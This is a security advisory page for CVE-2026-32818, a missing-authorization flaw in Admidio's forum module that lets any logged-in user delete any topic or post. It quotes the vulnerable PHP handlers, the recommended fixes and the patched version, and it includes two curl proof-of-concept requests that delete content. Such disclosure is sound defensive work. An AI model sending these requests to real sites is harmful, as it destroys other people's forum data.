CVE-2026-32818 — admidio
MEDIUMCVE-2026-32818 is a medium-severity (CVSS 6.5) CWE-862 vulnerability in admidio/admidio. A fix is available for admidio/admidio — see the affected versions and patch details below.
Admidio is Missing Authorization on Forum Topic and Post Deletion
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-32818.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
admidio/admidioReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The forum module in Admidio does not verify whether the current user has permission to delete forum topics or posts. Both the topic_delete and post_delete actions in forum.php only validate the CSRF token but perform no authorization check before calling delete(). Any authenticated user with forum access can delete any topic (with all its posts) or any individual post by providing its UUID.
This is inconsistent with the save/edit operations, which properly check isAdministratorForum() and ownership before allowing modifications.
Details
Vulnerable Code Path 1: Topic Deletion
File: D:\bugcrowd\admidio\repo\modules\forum.php, lines 98-108
The topic_delete handler validates CSRF but never calls $topic->isEditable():
case 'topic_delete':
// check the CSRF token of the form against the session token
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$topic = new Topic($gDb);
$topic->readDataByUuid($getTopicUUID);
$topic->delete();
echo json_encode(array('status' => 'success'));
break;
The Topic class has an isEditable() method (lines 144-164 of ListConfiguration.php) that properly checks isAdministratorForum() and getAllEditableCategories('FOT'), but it is never called in the delete path.
Vulnerable Code Path 2: Post Deletion
File: D:\bugcrowd\admidio\repo\modules\forum.php, lines 125-134
The post_delete handler also validates CSRF but performs no authorization check:
case 'post_delete':
// check the CSRF token of the form against the session token
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$post = new Post($gDb);
$post->readDataByUuid($getPostUUID);
$post->delete();
echo json_encode(array('status' => 'success'));
break;
Contrast with Save Operations (Properly Authorized)
The ForumTopicService::savePost() method in D:\bugcrowd\admidio\repo\src\Forum\Service\ForumTopicService.php lines 117-121 correctly verifies authorization:
if ($postUUID !== '') {
$post->readDataByUuid($postUUID);
if (!$gCurrentUser->isAdministratorForum() && $post->getValue('fop_usr_id_create') !== $gCurrentUser->getValue('usr_id')) {
throw new Exception('You are not allowed to edit this post.');
}
}
The delete operations should have equivalent checks but do not.
Module-Level Access Check
File: D:\bugcrowd\admidio\repo\modules\forum.php, lines 53-59
The only check before the delete operations is the module-level access check:
if ($gSettingsManager->getInt('forum_module_enabled') === 0) {
throw new Exception('SYS_MODULE_DISABLED');
} elseif ($gSettingsManager->getInt('forum_module_enabled') === 1
&& !in_array($getMode, array('cards', 'list', 'topic')) && !$gValidLogin) {
throw new Exception('SYS_NO_RIGHTS');
}
This only ensures the user is logged in for write operations. It does not check whether the user has forum admin rights or is the author of the content being deleted.
PoC
Prerequisites: Two user accounts - a regular logged-in user (attacker) and a forum admin who has created topics and posts.
Step 1: Attacker discovers a topic UUID
The attacker visits any forum topic page. Topic UUIDs are visible in the URL and page source.
Step 2: Attacker deletes the topic (and all its posts)
curl -X POST "https://TARGET/adm_program/modules/forum.php?mode=topic_delete&topic_uuid=<TOPIC_UUID>" \
-H "Cookie: ADMIDIO_SESSION_ID=<attacker_session>" \
-d "adm_csrf_token=<attacker_csrf_token>"
Expected response: {"status":"success"}
The topic and all its posts are permanently deleted from the database.
Step 3: Attacker deletes an individual post
curl -X POST "https://TARGET/adm_program/modules/forum.php?mode=post_delete&post_uuid=<POST_UUID>" \
-H "Cookie: ADMIDIO_SESSION_ID=<attacker_session>" \
-d "adm_csrf_token=<attacker_csrf_token>"
Expected response: {"status":"success"}
Impact
- Data Destruction: Any logged-in user can permanently delete any forum topic (including all associated posts) or any individual post. The
Topic::delete()method cascades and removes all posts belonging to the topic. - Content Integrity: Forum content created by administrators or other authorized users can be destroyed by any regular member.
- No Undo: The deletion is permanent. There is no soft-delete or trash mechanism. The only recovery would be from database backups.
- Low Barrier: The attacker only needs a valid login and the UUID of the target content. UUIDs are visible in forum page URLs and are not secret.
Recommended Fix
Fix 1: Add authorization check to topic_delete
case 'topic_delete':
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$topic = new Topic($gDb);
$topic->readDataByUuid($getTopicUUID);
// Add authorization check
if (!$topic->isEditable()) {
throw new Exception('SYS_NO_RIGHTS');
}
$topic->delete();
echo json_encode(array('status' => 'success'));
break;
Fix 2: Add authorization check to post_delete
case 'post_delete':
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$post = new Post($gDb);
$post->readDataByUuid($getPostUUID);
// Add authorization check - only forum admins or the post author can delete
if (!$gCurrentUser->isAdministratorForum()
&& (int)$post->getValue('fop_usr_id_create') !== $gCurrentUserId) {
throw new Exception('SYS_NO_RIGHTS');
}
$post->delete();
echo json_encode(array('status' => 'success'));
break;
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | admidio/admidio | ≥ 5.0.0&&< 5.0.7 | 5.0.7composer require admidio/admidio:^5.0.7 |
Affected Products
admidioadmidioDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for admidio/admidio, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update admidio/admidio to 5.0.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-32818 is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Frequently Asked Questions
Is CVE-2026-32818 in your dependencies?
Find it across Packagist, including transitive dependencies.